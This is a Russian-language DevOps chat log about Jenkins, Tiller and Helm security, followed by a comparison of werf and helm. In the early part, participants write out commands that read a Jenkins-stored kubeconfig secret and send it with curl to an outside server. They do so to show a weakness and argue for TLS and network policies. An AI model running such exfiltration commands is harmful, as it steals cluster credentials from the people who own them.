Dmitry
Дженкинс плагин
В Jenkins несколько вариантов. Если есть доступ к replay, сделать replay и добавить туда что-то вроде data=`cat kubecofnig`; curl -d $data https://any-my-server.com
Dmitry
Если только кого-то из нас попросив это сделать
У вас нужно что-то просить чтобы сотрудник мог деплоить в куб через пайплайн? devsecops? Если он сделает пуш в репу, пайплайн не будет запущен?
Dmitry
Он в Дженкинс секретах. Вы там хоть 100 раз катайте - результат будет ****
Это если вывести просто cat. А код data=`cat kubecofnig`; curl -d $data https://any-my-server.com сработает
Dmitry
Только на определенное имя ветки
ну то есть деплоить можно свой код
Dmitry
Нет
не очень понял. Разрабы не могут деплоить то что пишут?
Й
Ну в смысле никто не запретит удалить из ветки код проекта и положить туда свой...
George
Тиллер внутри кластера доступен сервису, который деплоит разраб ?
George
Если нет, то как сделали разграничение ?
Й
Доступен по тцп. Полисей сетевых у нас нет.
George
Ну, и все
George
Значит, безопасности нет 🤷‍♂
Й
Кто код разраба запустит?
Й
В пайплайне
George
Да причем тут пайплайн
Dmitry
Нет. Не работает
Ну вот пожалуйста Внутри секрета: secret_file AAA AAA withCredentials([ file(credentialsId: 'kubectl_config_secret_file', variable: 'KUBECONFIG'), ]) { sh 'data=`cat $KUBECONFIG`; curl -v -d $data http://example.com' } http://joxi.net/eAOXeNRtppDgxr.jpg
Dmitry
Кто код разраба запустит?
Есть проект, его разрабатывают программисты. Он деплоется в куб, что мешает программисту, в этот проект добавить код, который в тихую общается с tiller'ом по GRPC?
Dmitry
А кто сделает вставку в пайплайн?
Я выше писал, есть есть доступ к пайпу (либо к коду в репе, либо к replay в Jenkins)
Dmitry
Не. Нету
окей, круто. Значит один вектор исключили. Просто до этого ты утверждал это сделать невозможно из кода пайпа, я поэтому и показал что можно. Остался способ через код проекта который деплоется в куб
Dmitry
Ну тогда и лайвовый кластер тудаже, так как там толко с мастера и через код ревью. Подмешать что-то можно но сложно.
Ну то есть все сводится к тому, что "безопаность", зависит от глубины ее проверки. Но не проще ли к tiller прикрутить TLS или netpolicy сделать, чтобы вообще исключить такую возможность?
Dmitry
А это мы только рассмотрели возможные утечки, которые просто ограничиваются хотением сотрудника. А если начать проверять тот же Jenkins на уязвимости на поднятия прав например, или на сделать replay учетке с ограниченными правами (если у пользователя туда есть доступ), и искать более хитрые пути, то все станет еще веселее
Dmitry
Зачем кого-то пускать в Дженкинс?
Нажимать кнопки для деплоя, разное может быть. Другая возможная автоматизация, от проекта же зависит
Dmitry
Вы про tiller-tls-verify при ините? Так то оно по дефолту во всех кластерах)
Ну там как правило нужны ключи и сертификаты со стороны клиента. Иначе нельзя в tiller обратиться. У меня старые деплои были такими withCredentials([ file(credentialsId: 'kubectl_config', variable: 'KUBECONFIG'), file(credentialsId: 'HELM_TLS_CERT', variable: 'HELM_TLS_CERT'), file(credentialsId: 'HELM_TLS_CA_CERT', variable: 'HELM_TLS_CA_CERT'), file(credentialsId: 'HELM_TLS_KEY', variable: 'HELM_TLS_KEY'), ]) { ...
Dmitry
Так то аудит на что?
Не очень понимаю. До это утверждалось что все "безопасно" если нет доступа в кластер, с чем я и спорил, так как есть варианты различные. Конечно если выстроен devsecops то это круто, но если такое реализовано, то отдел безопасников точно бы сказал закрыть tiller TLS авторизацией))
Dmitry
Серьезно?) А я все думал как же оно работает)
Ну до этого ты говорил что TLS нет, и он не нужен. А теперь что есть
Й
Кароч, тиллер зло. Но когда без него никак то есть пути как с этим жить
Dmitry
Кароч, тиллер зло. Но когда без него никак то есть пути как с этим жить
Да, о чем я изначально и писал. Есть tls, есть netpol, есть helm3 )
Й
Все собираюсь с мыслями перейти, но нужно выделить время и ресурсы на тесты всего...
Й
На хелм3
Dmitry
Все собираюсь с мыслями перейти, но нужно выделить время и ресурсы на тесты всего...
Есть еще werf, ему tiller не нужен, и он живет на helm2. Но я думаю с переездом на helm3 ничего не сломается у него, и возможно менять ничего не нужно будет кроме версии werf. Но тут принято не любить werf
Dmitry
Чем он лучше Дженкинс?
хз, у меня он в Дженкинс), werf же не CI чтобы заменять им Дженкинс
Й
? Дженкинс пинаеть верфь?
Dmitry
? Дженкинс пинаеть верфь?
угу. Ничем же не отличается от того что Jenkins пинает helm
Й
угу. Ничем же не отличается от того что Jenkins пинает helm
Погодите, это просто шаблонзатор, что-ли?
G72K
Погодите, это просто шаблонзатор, что-ли?
Там ещё сборка докеров по-умному сделана как-то
Dmitry
Погодите, это просто шаблонзатор, что-ли?
Не, эта штука для деплоя, описыаешь helm чарт и она его деплоит. Там просто свои плюхи есть, типо проверяет нормально ли выкатываются ресурсы, например если под не поднимается, она выведет его логи и евенты, и выйдет с не нулевым статусом, ну и тому подобное. Удобно что не нужно лазить в кластер, досточно логов пайпа, чтобы понять что случилось
Dmitry
Там ещё сборка докеров по-умному сделана как-то
угу, там можно описывать сборку образа ansible ситаксисом. Но можно это не юзать
George
Через апиху
George
Там внутри типо хельм клиент
Dmitry
И как оно деплоит в кластер? Кубцтл эпплай?
там внутри helm, скорее всего делает helm upgrade (но как-то по свойму, tiller то ей не нужен). А потом начинает следить за выкатом всех ресурсов, репортовать их евенты если что пошло не так, и так далее Но для тебя по идее неважно что она там делает, у тебя выглядит как werf deploy ...
Victor
а в чем прикол? хельм же тоже самое делает
Dmitry
а в чем прикол? хельм же тоже самое делает
Нет, если у тебя не поднимется под, helm'у пофиг. А werf покажет его логи или евенты и пайп будет красным
Dmitry
Как с хельмчартами дела ? Оно совместимо с "обычным" хельмом?
Да, обычный chart, только можно использовать их переменные в шаблонах, например в env вставить sha256 образа
Victor
Нет, если у тебя не поднимется под, helm'у пофиг. А werf покажет его логи или евенты и пайп будет красным
--wait if set, will wait until all Pods, PVCs, Services, and minimum number of Pods of a Deployment are in a ready state before marking the release as successful. It will wait for as long as --timeout
Victor
это флаг хельма, если что
Й
Там выхлопа не будет(
Й
Поломанного пода
Dmitry
--wait if set, will wait until all Pods, PVCs, Services, and minimum number of Pods of a Deployment are in a ready state before marking the release as successful. It will wait for as long as --timeout
Так он по таймуту просто будет ждать. А werf сразу поймет что под не поднялся и не поднимется и логи выведет с евентами. В итоге ждем не таймаут, а сразу видем инфу что-то пошло не так
Victor
а, ок )
Dmitry
У верфа под капотом разве не тиллер как раз?
tiller это же сервис, который должен быть в кубе. Для werf ничего не нужно в кубе
Victor
наверное он подписывается на ивенты всех объектов как kubespy делает
Dmitry
А оно всю портянку из дескрайба вываливает? Или только зафейлившейся контейнер?
не, только что зафейлилось. Но наверное бывает что-то лишнее выдает. По юзай, посмотри, может подойдет тебе, а может и нет
Dmitry
Такое ощущение что я тут werf рекламирую. Надо для справидливости его критиковать. Там есть баги ребята, не все так хорошо ))
Й
не, только что зафейлилось. Но наверное бывает что-то лишнее выдает. По юзай, посмотри, может подойдет тебе, а может и нет
Ну да. На вид вполне не плохо. Правда столько сколько у нас уже в пайпах наверчено, то мы сами себе верфь. Если хельм2 заменим на хельм3)
Vladimir K
tiller это же сервис, который должен быть в кубе. Для werf ничего не нужно в кубе
"Helm-клиент и Tiller полностью встроены в werf. Tiller работает в рамках единого процесса werf во время деплоя" - из доков Но и вы правы тоже, да